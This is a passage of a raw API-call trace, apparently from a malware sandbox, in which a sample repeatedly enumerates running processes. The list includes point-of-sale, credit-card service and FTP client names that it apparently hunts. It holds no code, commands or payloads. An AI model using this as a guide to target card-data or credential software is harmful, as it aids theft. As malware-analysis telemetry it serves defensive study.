th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0228.149] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0228.151] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0228.193] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0228.195] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0228.197] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xff4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0228.199] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xffc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0228.200] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x34c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0228.202] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1008, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0228.203] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1018, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0228.205] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1020, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0228.251] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1030, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nowstudy.exe")) returned 1 [0228.252] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x103c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="talk personal.exe")) returned 1 [0228.254] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1048, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="evening.exe")) returned 1 [0228.256] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1050, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="entire.exe")) returned 1 [0228.257] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1058, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="figure.exe")) returned 1 [0228.259] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x158, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0228.261] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0228.262] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x390, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0228.264] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xc84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0228.266] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xcb0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x360, pcPriClassBase=6, dwFlags=0x0, szExeFile="bcatcih")) returned 1 [0228.267] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 1 [0228.318] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xb8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="311B.exe")) returned 0 [0228.320] CloseHandle (hObject=0x15f0) returned 1 [0228.320] Sleep (dwMilliseconds=0x64) [0228.368] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x15f0 [0228.381] Process32First (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0228.383] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0228.384] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0228.386] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0228.388] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0228.389] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0228.391] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0228.392] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0228.394] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0228.395] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.397] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.398] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0228.400] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.442] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.444] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.446] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.447] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.449] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.451] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.452] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0228.454] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0228.456] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0228.458] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.460] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2a, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0228.461] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0228.463] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0228.464] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0228.466] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0228.467] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0228.469] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0228.470] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0228.472] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0228.473] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0228.475] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0228.476] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0228.478] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0228.479] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0228.481] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0228.482] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0228.483] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0228.521] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0228.522] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0228.524] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0228.525] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0228.527] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0228.529] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0228.530] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0228.532] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0228.533] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0228.535] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0228.537] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0228.538] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0228.540] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0228.541] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0228.543] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0228.544] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0228.546] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0228.548] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0228.550] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0228.552] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0228.554] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0228.556] Process32Next (in: hSnapshot=0x15f0, lppe=0x102efe20 | out: 